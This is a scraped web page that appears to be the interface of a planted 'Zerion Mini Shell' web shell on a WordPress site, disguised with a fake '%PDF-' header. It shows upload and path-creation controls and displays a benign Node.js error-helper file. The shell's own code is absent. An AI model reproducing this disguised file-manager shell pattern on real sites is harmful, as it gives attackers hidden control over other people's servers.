%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/projetos/stb.ind.br/wp-content/themes/stb/node_modules/error/
Upload File :
Create Path :
Current File : /var/www/projetos/stb.ind.br/wp-content/themes/stb/node_modules/error/io.js

'use strict';

module.exports = IOError;

function IOError(cause, prefix) {
    var err = new Error(prefix + ': ' + cause.message);

    Object.defineProperty(err, 'type', {
        value: 'error.IOError',
        configurable: true,
        enumerable: true
    });
    err.name = 'WrappedIOError';
    err.statusCode = 500;
    Object.defineProperty(err, 'cause', {
        value: cause,
        configurable: true,
        enumerable: false
    });
    return err;
}

Zerion Mini Shell 1.0